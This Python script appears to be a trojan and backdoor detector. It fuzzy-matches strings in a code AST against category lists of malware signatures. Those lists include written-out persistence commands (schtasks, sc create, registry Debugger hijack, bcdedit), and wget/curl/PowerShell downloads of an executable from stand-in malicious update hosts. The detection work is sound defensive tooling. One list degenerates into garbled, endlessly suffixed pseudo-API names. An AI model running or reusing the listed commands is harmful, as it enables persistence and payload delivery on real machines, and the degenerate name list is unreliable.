import json
import ASTT
import json

# import user_guide

number = 1
is_virus = False

def analyze_ast(ast_data, feature_strings):
    """分析 AST 并对所有可能的字符串进行特征字符串匹配，允许一定容错率"""
    def recursive_check(node, current_path=''):
        global number
        global is_virus
        if isinstance(node, dict):
            for key, value in node.items():
                new_path = f"{current_path}[{key}]" if current_path else f"[{key}]"
                if isinstance(value, str):
                    categories = []
                    for category, strings in feature_strings.items():
                        for string in strings:
                            if is_close_match(value, string):
                                duplicate = False
                                for prev_string, prev_category, prev_path in matched_info:
                                    if new_path == prev_path:
                                        duplicate = True
                                        break
                                if not duplicate:
                                    categories.append(category)
                    if categories:
                        print(f"第{number}个")
                        print(f"匹配字符：'{value}'\n疑似模式：{', '.join(categories)}\n所处位置：'{new_path}'")
                        if not duplicate:
                            # 如果没有重复路径，将匹配信息添加到列表中
                            number+=1
                            for category in categories:
                                matched_info.append((value, category, new_path))
                        is_virus = True
                elif isinstance(value, dict) or isinstance(value, list):
                    #print(f"1Recursing into dict or list at path: {new_path}")
                    found = recursive_check(value, new_path)
                    if found :
                        return True
        elif isinstance(node, list):
            for index, item in enumerate(node):
                new_path = f"{current_path}[{index}]" if current_path else f"[{index}]"
                if isinstance(item, dict) or isinstance(item, list):
                    #print(f"2Recursing into list item at path: {new_path}")
                    found = recursive_check(item, new_path)
                    if found:
                        return True
        return False

    matched_info = []
    return recursive_check(ast_data)

def is_close_match(str1, str2):
    """判断两个字符串是否接近匹配"""
    if str2 in str1:
        return True
    else:
        m, n = len(str1), len(str2)
        dp = [[0] * (n + 1) for _ in range(m + 1)]
        for i in range(m + 1):
            dp[i][0] = i
        for j in range(n + 1):
            dp[0][j] = j
        for i in range(1, m + 1):
            for j in range(1, n + 1):
                cost = 0 if str1[i - 1] == str2[j - 1] else 1
                dp[i][j] = min(dp[i - 1][j] + 1, dp[i][j - 1] + 1, dp[i - 1][j - 1] + cost)
        edit_distance = dp[m][n]
        longer_length = max(m, n)
        similarity = 1 - edit_distance / longer_length
        return similarity > 0.8

def load_json_ast(file_path):
    """从文件中加载 JSON 格式的 AST"""
    with open(file_path, 'r') as file:
        return json.load(file)

# 定义特征字符串字典
feature_strings = {
     "RAT_SIGNATURES": ["subprocess.Popen", "socket.socket", "shutil.copy", "shutil.move", "shutil.rmtree", "pynput.keyboard","SOCK_STREAM",
                       "pyHook", "mss", "PIL.ImageGrab", "cv2.VideoCapture", "pygame.camera", "execCommand", "encryptionKey", "dial",
                       "net.Dial", "exec.Command","8080", "socket.connect", "socket.recv", "http.client.HTTPConnection",
                       "urllib.request.urlopen", "requests.get", "os.remove",  "os.mkdir", "os.rmdir", "os.listdir", "os.path.exists", 
                        "os.system", "subprocess.call", "sendto",
                       "subprocess.run", "subprocess.check_output", "pynput.keyboard.Listener", "pynput.mouse.Listener",
                       "pyHook.HookManager", "PIL.ImageGrab.grab", "pygame.camera.Camera", "cryptography.fernet.Fernet",
                       "Crypto.Cipher.AES", "Crypto.Cipher.RSA", "ctypes.windll.kernel32.SetFileAttributesW", "win32api.RegisterServiceProcess", 
                       "win32service.StartServiceCtrlDispatcher", "win32service.SetServiceStatus","ReverseShell","BindShell","Meterpreter","BackdoorFactory","PowershellEmpire"],
   "CNC_SIGNATURES": ["http://c2-server.com", "AES", "RSA", "SSL", "TLS", "ping", "keep-alive",
                   "requests.post", "socket.send", "shutil.make_archive", "C2Server", "Botnet", "RemoteCommand", "ControlChannel", "Beaconing",
                   "CallbackURL", "CommandExecution", "DataExfiltration", "MaliciousDomain", "TorNetwork", "http.Get", "http.Post", "8080", "443",
                   "http.server.HTTPServer", "http.client.HTTPResponse", "urllib.parse.urlparse", "urllib.parse.urlencode", 
                   "cryptography.hazmat.primitives.asymmetric.rsa", "cryptography.hazmat.primitives.asymmetric.padding", 
                   "cryptography.hazmat.primitives.ciphers.algorithms", "cryptography.hazmat.primitives.ciphers.modes", "cryptography.hazmat.primitives.kdf.pbkdf2", 
                   "Crypto.Hash.SHA256", "Crypto.Hash.MD5", "Crypto.PublicKey.DSA", "Crypto.Util.Padding", "winreg.CreateKey", "winreg.SetValue",
                   "winreg.DeleteKey", "winreg.DeleteValue", "ctypes.windll.shell32.ShellExecuteW", "ctypes.windll.user32.MessageBoxW", 
                   "ctypes.windll.kernel32.GetModuleFileNameW", "ctypes.windll.kernel32.GetProcAddress", "ctypes.windll.kernel32.LoadLibraryW", "ctypes.windll.kernel32.FreeLibrary"],
    "HIDDEN_EXECUTION_SIGNATURES": ["importlib.import_module", "getattr", "setattr", "delattr", "hasattr", "PIL.Image","numpy", 
                                    "cv2", "ctypes.windll", "ctypes.cdll", "pywin32", "time.sleep", "RunHidden", "HiddenProcess","StealthMode", 
                                    "SilentExecution", "BackgroundTask", "HiddenThread", "InvisibleWindow", "HiddenService", "UndocumentedAPI", "RootkitFunction",
                                   "syscall", "os/exec", "ReflectiveDLLInjection", "ProcessHollowing", "ThreadHijacking", "CodeCave", "NtSetInformationProcess", 
                                   "NtCreateThreadEx", "NtQueueApcThread", "RtlCreateUserThread", "IsDebuggerPresent", "CheckRemoteDebuggerPresent", 
                                   "NtQueryInformationProcess", "PEB_BeingDebugged", "ObfuscatedStrings", "DynamicCodeGeneration", "EncryptionRoutines", 
                                   "CustomCompressionAlgorithms", "RegistryModification", "ScheduledTasks", "StartupFolder", "ServiceCreation", "DNS_Tunneling", 
                                   "ICMP_Exfiltration", "EncryptedChannels", "CustomProtocols", "HookingTechniques", "InlineHooking", "IAT_Hooking", 
                                   "SSDT_Hooking", "AlternateDataStreams", "FilelessMalware", "HiddenModules", "StealthProcesses"],
    "MALICIOUS_SCRIPT_SIGNATURES": ["SubAutoOpen()", "SubDocument_Open()", "ExecuteExcel4Macro", "powershell.exe", "-NoProfile", "-ExecutionPolicyBypass",
                                    "<script>", "setTimeout(", "WScript.Shell", "CreateObject", "Execute", "Run", "ShellExecute", "Send", "VBAProject", "Auto_Open",
                                    "Document_Open", "PowerShell", "Invoke-Expression", "DownloadString", "ExecuteCommand", "MacroVirus",
                                    "executeExternalCommand", "downloadFromURL","Auto_Close","Workbook_Open","Document_Close","OnLoad","OnError","OnTime","Invoke-Mimikatz","Invoke-PowerShellTcp",
                                   "eval(", "setTimeout(", "Application.Run", "Document.SaveAs","DownloadFile","Start-Process","New-Object","Scripting.FileSystemObject","Shell.Application",
                                    "ActiveXObject","WScript.CreateObject","ThisWorkbook.VBProject", "mshta.exe", "regsvr32.exe", "rundll32.exe", "certutil.exe", "bitsadmin.exe", "schtasks.exe",
                                    "Workbook.SaveAs", "ThisDocument.VBProject"],
    "USER_PERMISSION_SIGNATURES": ["SetPrivilege", "C:\\Windows\\System32\\config\\SAM", "elevate", "privilege","UACBypass", "DLLInjection", 
                                   "ExploitVulnerability", "TokenImpersonation", "SetUID", "SudoVulnerability", "KernelExploit", "LocalPrivilegeEscalation",
                                   "ElevatePrivileges", "syscall.Syscall", "syscall.RawSyscall", "os.Chmod","BypassUAC","TokenDuplication","NamedPipeImpersonation",
                                    "ServiceExploit", "UnquotedServicePath", "AlwaysInstallElevated", "SeImpersonatePrivilege", "SeAssignPrimaryTokenPrivilege", 
                                    "SeDebugPrivilege", "SeRestorePrivilege", "SeTakeOwnershipPrivilege","SeTcbPrivilege","SeCreateTokenPrivilege", 
                                    "SeLoadDriverPrivilege", "SeBackupPrivilege","SeSecurityPrivilege", "SeSystemEnvironmentPrivilege", "SeProfileSingleProcessPrivilege",
                                    "SeIncreaseBasePriorityPrivilege", "SeSystemProfilePrivilege", "SeUndockPrivilege", "SeManageVolumePrivilege", 
                                    "SeRemoteShutdownPrivilege","SeAuditPrivilege", "SeImpersonatePrivilege", "SeCreateGlobalPrivilege", "SeIncreaseWorkingSetPrivilege", 
                                    "SeTimeZonePrivilege", "SeCreateSymbolicLinkPrivilege", "SeDelegateSessionUserImpersonatePrivilege"],
    "DATA_THEFT_SIGNATURES": ["suspicious_domain.com", "FTP", "POST", "data_steal", "stolen_data", "keylogger",
                              "stealPassword", "exfiltrateData", "captureCredentials", "sniffNetwork", "remoteAccess", "backdoor", "net.Dial",
                              "os.Open", "ioutil.ReadFile","clipboard_stealer", "screenshot_capture", "browser_history_stealer", "form_grabber",
                              "password_stealer", "cookie_stealer", "email_harvester", "file_scraper", "keystroke_logger", "webcam_snapshot",
                              "microphone_recording","screen_recording", "audio_recording", "network_sniffer","wifi_password_stealer", "ssh_key_stealer", 
                              "credit_card_stealer", "bank_account_stealer", "cryptocurrency_wallet_stealer", "social_media_account_stealer",
                              "instant_messenger_stealer", "vpn_credentials_stealer", "remote_desktop_credentials_stealer", "file_system_enumerator", 
                              "process_memory_scraper","usb_data_stealer", "bluetooth_data_stealer", "rfid_data_stealer", "nfc_data_stealer", "wifi_network_enumerator"],
    "CONCEALED_PASSAGE_SIGNATURES": ["ping-p", "nslookup", "curl", "curl-k", "ssh-R", "mailto:", "icmpExfiltration", "dnsTunneling",
                                     "httpStager", "tcpCovertChannel", "udpCovertChannel", "icmpCovertChannel", "dnsCovertChannel", "steganography", "port9999", "http.Header",
                                     "os.OpenFile","icmp_covert_channel", "dns_covert_channel","http_covert_channel", "https_covert_channel", "tcp_covert_channel",
                                    "udp_covert_channel","smtp_covert_channel", "pop3_covert_channel", "imap_covert_channel","ftp_covert_channel","smb_covert_channel", 
                                    "ntp_covert_channel", "snmp_covert_channel", "dhcp_covert_channel", "ssh_covert_channel", "telnet_covert_channel", "irc_covert_channel",
                                    "xmpp_covert_channel", "mqtt_covert_channel", "coap_covert_channel", "modbus_covert_channel", "dnp3_covert_channel", 
                                    "opcua_covert_channel", "bacnet_covert_channel", "s7comm_covert_channel", "fox_covert_channel", "mms_covert_channel","edp_covert_channel", 
                                    "profinet_covert_channel", "ethercat_covert_channel"],
    "PERSISTENT_SIGNATURES": ["HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "schtasks/create", "sccreate", "LoadLibrary",
                              "ActiveScriptEventConsumer", "StartupFolder", "RegistryRunKey", "ServiceCreation", "ScheduledTask", "WMIEventSubscription", "LogonScript",
                              "DLLHijacking", "BootExecute", "ImageFileExecutionOptions", "os.StartProcess", "registry.OpenKey", "os.Create", "os.WriteFile",
                              "schtasks /create /tn \"TaskName\" /tr \"C:\\Path\\To\\Malicious\\Script.exe\" /sc ONLOGON /ru System","at 12:00 /interactive \"C:\\Path\\To\\Malicious\\Script.exe\"",
                              "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce","HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",
                              "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run","C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\MaliciousScript.lnk",
                              "C:\\Users\\<UserName>\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MaliciousScript.lnk","sc create MaliciousService binPath= \"C:\\Path\\To\\Malicious\\Script.exe\"",
                              "sc start MaliciousService","reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe\" /v \"Debugger\" /t REG_SZ /d \"C:\\Path\\To\\Malicious\\Script.exe\" /f",
                              "C:\\Windows\\System32\\malicious.dll","C:\\Windows\\SysWOW64\\malicious.dll","bcdedit /set {default} bootstatuspolicy ignoreallfailures","bcdedit /set {default} recoveryenabled no"],
    "POLYMORPHIC_SIGNATURES": ["AES_ENCRYPT", "DES_ENCRYPT", "RC4_ENCRYPT", "Blowfish_ENCRYPT", "EXEC_OBFUSCATED", "EVAL_OBFUSCATED",
                               "COMPILE_OBFUSCATED", "XOR_SHELLCODE", "ADD_SHELLCODE", "SUB_SHELLCODE", "ROL_SHELLCODE", "ROR_SHELLCODE", "DECRYPT_DYNAMIC", "DECODE_DYNAMIC",
                               "DECODEBYTES_DYNAMIC", "CreateRemoteThread", "maliciousserver", "encrypt_", "obfuscate_", "C:\\Windows\\Temp\\", "randomstring.dll",
                               "encryptedPayload", "obfuscatedCode", "selfModifyingCode", "codeMutation", "dynamicPayload", "polymorphicShellcode", "variantEngine",
                               "morphingEngine", "metamorphicCode", "crypto/rand", "reflect","RSA_ENCRYPT","ECC_ENCRYPT","Twofish_ENCRYPT","Serpent_ENCRYPT",
                               "BASE64_OBFUSCATED","ROT13_OBFUSCATED","ZLIB_OBFUSCATED","LZMA_OBFUSCATED","DECRYPT_ON_THE_FLY","DECODE_AT_RUNTIME","DECODE_ON_DEMAND",
                               "ReflectiveDLLInjection","ProcessHollowing","ThreadHijacking","CodeCave","JIT_OBFUSCATION","DynamicFunctionInvocation","MutationEngine",
                               "MetamorphicEngine","PolymorphicVirtualMachine","RandomizedStringLiterals","DynamicAPIResolution","Context-SensitiveCode"],
    "MALICIOUS_UPGRADE_SIGNATURES": ["http://malicious-update-server.com", "https://evil-update.net", "update.malicious-domain.com",
                                     "download.evil-server.org", "importlib.import_module", "ctypes.CDLL", "ctypes.PyDLL", "mitmproxy", "Fiddler", "BurpSuite", "update.exe",
                                     "upgrader", "patch", "C:\\Users\\XXX\\AppData\\Local\\Temp\\random_update.exe", "patch.exe", "installer.exe", "downloader.exe", "updater.exe",
                                     "silentUpdate", "autoUpdate", "updateScript", "maliciousPayload", "http.Get", "http.Post", "os.WriteFile", "os.Rename","http://evil-update-server.com",
                                     "https://malicious-download.net","update.evil-domain.com","download.malicious-server.org","C:\\Users\\Public\\Documents\\update.exe",
                                     "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe","C:\\Temp\\update.exe","C:\\Windows\\System32\\update.exe","update.sh",
                                     "update.bat","update.ps1","update.py","wget http://malicious-update-server.com/update.exe -O C:\\Temp\\update.exe",
                                     "curl -o C:\\Temp\\update.exe http://malicious-update-server.com/update.exe","powershell -Command \"Invoke-WebRequest -Uri 'http://malicious-update-server.com/update.exe' -OutFile 'C:\\Temp\\update.exe'\"","Netcat",
                                     "Metasploit","Empire","Cobalt Strike","Man-in-the-Middle (MitM) Attack","DNS Spoofing","ARP Spoofing","SSL Stripping"],
    "suspicious_signatures":["os.system","C:\\RAT\\config.dat","exec","UACBypass","Rootkit","C:\\Users\\Documents","sniffNetwork","CreateRemoteThread",
                             "WriteProcessMemory","VirtualAllocEx","NtUnmapViewOfSection","RtlCreateUserThread","LdrLoadDll","LdrGetProcedureAddress","GetProcAddress","LoadLibraryA",
                             "WinExec","ShellExecute","RegCreateKeyEx","RegSetValueEx","RegDeleteValue","RegDeleteKey","SetWindowsHookEx","EnumWindows","FindWindow","FindFirstFile",
                            "FindNextFile","CopyFile","MoveFile","DeleteFile","CreateFile","WriteFile","ReadFile","GetFileSize","SetFilePointer","GetFileAttributes","SetFileAttributes"
                            ,"GetModuleHandle","GetProcAddress","VirtualAlloc","VirtualProtect","VirtualQuery","MapViewOfFile","UnmapViewOfFile","CreateFileMapping","OpenFileMapping"
                            ,"CloseHandle","DuplicateHandle","WaitForSingleObject","Sleep","GetTickCount","QueryPerformanceCounter","GetSystemTime","GetLocalTime","GetTimeZoneInformation"
                            ,"GetComputerName","GetUserName","GetCurrentProcess","GetCurrentThread","GetProcessHeap","HeapAlloc","HeapFree","HeapReAlloc","HeapSize","HeapValidate"
                            ,"HeapCompact","HeapLock","HeapUnlock","HeapWalk","HeapCreate","HeapDestroy","GlobalAlloc","GlobalFree","GlobalReAlloc","GlobalSize","GlobalLock","GlobalUnlock"
                            ,"GlobalFlags","GlobalHandle","LocalAlloc","LocalFree","LocalReAlloc","LocalSize","LocalLock","LocalUnlock","LocalFlags","LocalHandle","VirtualAllocEx"
                            ,"VirtualFreeEx","VirtualProtectEx","VirtualQueryEx","MapViewOfFileEx","UnmapViewOfFileEx","CreateFileMappingEx","OpenFileMappingEx","CloseHandleEx","DuplicateHandleEx"
                            ,"WaitForSingleObjectEx","SleepEx","GetTickCountEx","QueryPerformanceCounterEx","GetSystemTimeEx","GetLocalTimeEx","GetTimeZoneInformationEx","GetComputerNameEx"
                            ,"GetUserNameEx","GetCurrentProcessEx","GetCurrentThreadEx","GetProcessHeapEx","HeapAllocEx","HeapFreeEx","HeapReAllocEx","HeapSizeEx","HeapValidateEx"
                            ,"HeapCompactEx","HeapLockEx","HeapUnlockEx","HeapWalkEx","HeapCreateEx","HeapDestroyEx","GlobalAllocEx","GlobalFreeEx","GlobalReAllocEx","GlobalSizeEx"
                            ,"GlobalLockEx","GlobalUnlockEx","GlobalFlagsEx","GlobalHandleEx","LocalAllocEx","LocalFreeEx","LocalReAllocEx","LocalSizeEx","LocalLockEx","LocalUnlockEx"
                            ,"LocalFlagsEx","LocalHandleEx","VirtualAllocExEx","VirtualFreeExEx","VirtualProtectExEx","VirtualQueryExEx","MapViewOfFileExEx","UnmapViewOfFileExEx"
                            ,"CreateFileMappingExEx","OpenFileMappingExEx","CloseHandleExEx","DuplicateHandleExEx","WaitForSingleObjectExEx","SleepExEx","GetTickCountExEx","QueryPerformanceCounterExEx"
                            ,"GetSystemTimeExEx","GetLocalTimeExEx","GetTimeZoneInformationExEx","GetComputerNameExEx","GetUserNameExEx","GetCurrentProcessExEx","GetCurrentThreadExEx"
                            ,"GetProcessHeapExEx","HeapAllocExEx","HeapFreeExEx","HeapReAllocExEx","HeapSizeExEx","HeapValidateExEx","HeapCompactExEx","HeapLockExEx","HeapUnlockExEx"
                            ,"HeapWalkExEx","HeapCreateExEx","HeapDestroyExEx","GlobalAllocExEx","GlobalFreeExEx","GlobalReAllocExEx","GlobalSizeExEx","GlobalLockExEx","GlobalUnlockExEx"
                            ,"GlobalFlagsExEx","GlobalHandleExEx","LocalAllocExEx","LocalFreeExEx","LocalReAllocExEx","LocalSizeExEx","LocalLockExEx","LocalUnlockExEx","LocalFlagsExEx"
                            ,"LocalHandleExEx","VirtualAllocExExEx","VirtualFreeExExEx","VirtualProtectExExEx","VirtualQueryExExEx","MapViewOfFileExExEx","UnmapViewOfFileExExEx"
                            ,"CreateFileMappingExExEx","OpenFileMappingExExEx","CloseHandleExExEx","DuplicateHandleExExEx","WaitForSingleObjectExExEx","SleepExExEx","GetTickCountExExEx"
                            ,"QueryPerformanceCounterExExEx","GetSystemTimeExExEx","GetLocalTimeExExEx","GetTimeZoneInformationExExEx","GetComputerNameExExEx","GetUserNameExExEx"
                            ,"GetCurrentProcessExExEx","GetCurrentThreadExExEx","GetProcessHeapExExEx","HeapAllocExExEx","HeapFreeExExEx","HeapReAllocExExEx","HeapSizeExExEx","HeapValidateExExEx"
                            ,"HeapCompactExExEx","HeapLockExExEx","HeapUnlockExExEx","HeapWalkExExEx","HeapCreateExExEx","HeapDestroyExExEx","GlobalAllocExExEx","GlobalFreeExExEx"
                            ,"GlobalReAllocExExEx","GlobalSizeExExEx","GlobalLockExExEx","GlobalUnlockExExEx","GlobalFlagsExExEx","GlobalHandleExExEx","LocalAllocExExEx","LocalFreeExExEx"
                            ,"LocalReAllocExExEx","LocalSizeExExEx","LocalLockExExEx","LocalUnlockExExEx","LocalFlagsExExEx","LocalHandleExExEx","VirtualAllocExExExEx","VirtualFreeExExExEx"
                            ,"VirtualProtectExExExEx","VirtualQueryExExExEx","MapViewOfFileExExExEx","UnmapViewOfFileExExExEx","CreateFileMappingExExExEx","OpenFileMappingExExExEx"
                            ,"CloseHandleExExExEx","DuplicateHandleExExExEx","WaitForSingleObjectExExExEx","SleepExExExEx","GetTickCountExExExEx","QueryPerformanceCounterExExExEx"
                            ,"GetSystemTimeExExExEx","GetLocalTimeExExExEx","GetTimeZoneInformationExExExEx","GetComputerNameExExExEx","GetUserNameExExExEx","GetCurrentProcessExExExEx"
                            ,"GetCurrentThreadExExExEx","GetProcessHeapExExExEx","HeapAllocExExExEx","HeapFreeExExExEx","HeapReAllocExExExEx","HeapSizeExExExEx","HeapValidateExExExEx"
                            ,"HeapCompactExExExEx","HeapLockExExExEx","HeapUnlockExExExEx","HeapWalkExExExEx","HeapCreateExExExEx","HeapDestroyExExExEx","GlobalAllocExExExEx"
                            ,"GlobalFreeExExExEx","GlobalReAllocExExExEx","GlobalSizeExExExEx","GlobalLockExExExEx","GlobalUnlockExExExEx","GlobalFlagsExExExEx","GlobalHandleExExExEx"
                            ,"LocalAllocExExExExEx","LocalFreeExExExExEx","LocalReAllocExExExExEx","LocalSizeExExExExEx","LocalLockExExExExEx","LocalUnlockExExExExEx","LocalFlagsExExExExEx"
                            ,"LocalHandleExExExExEx","VirtualAllocExExExExExEx","VirtualFreeExExExExExEx","VirtualProtectExExExExExEx","VirtualQueryExExExExExEx","MapViewOfFileExExExExExEx"
                            ,"UnmapViewOfFileExExExExExEx","CreateFileMappingExExExExExEx","OpenFileMappingExExExExExEx","CloseHandleExExExExExEx","DuplicateHandleExExExExExEx","WaitForSingleObjectExExExExExEx"
                            ,"SleepExExExExExEx","GetTickCountExExExExExEx","QueryPerformanceCounterExExExExExEx","GetSystemTimeExExExExExEx","GetLocalTimeExExExExExEx","GetTimeZoneInformationExExExExExEx"
                            ,"GetComputerNameExExExExExEx","GetUserNameExExExExExEx","GetCurrentProcessExExExExExEx","GetCurrentThreadExExExExExEx","GetProcessHeapExExExExExEx","HeapAllocExExExExExEx"
                            ,"HeapFreeExExExExExEx","HeapReAllocExExExExExEx","HeapSizeExExExExExEx","HeapValidateExExExExExEx","HeapCompactExExExExExEx","HeapLockExExExExExEx","HeapUnlockExExExExExEx"
                            ,"HeapWalkExExExExExEx","HeapCreateExExExExExEx","HeapDestroyExExExExExEx","GlobalAllocExExExExExEx","GlobalFreeExExExExExEx","GlobalReAllocExExExExExEx"
                            ,"GlobalSizeExExExExExEx","GlobalLockExExExExExEx","+=+=+"
                            ]
}

def main(json_file_path):
    # 加载 JSON 格式的 AST
    ast_data = load_json_ast(json_file_path)

    # 分析 AST 并进行特征字符串匹配
    analyze_ast(ast_data, feature_strings)
    
    if number>1:
        print("检测到木马后门模式！")
    else:
        print("未检测到木马后门模式。")

def final_match(path):
    ASTT.final_AST_JSON_get(path)
    json_file_path = r'data.json'
    main(json_file_path)

if __name__ == "__main__":
    # path='muma.py'
    # ASTT.final_AST_JSON_get(path)
    # json_file_path = r'data.json'  # user_guide.program_road  # 替换为实际的 JSON 文件路径
    # main(json_file_path)
    final_match('D:/文件/trojan/source_code_trojan_backdoor_detection/data/train_data/backdoor/trojan_1.go')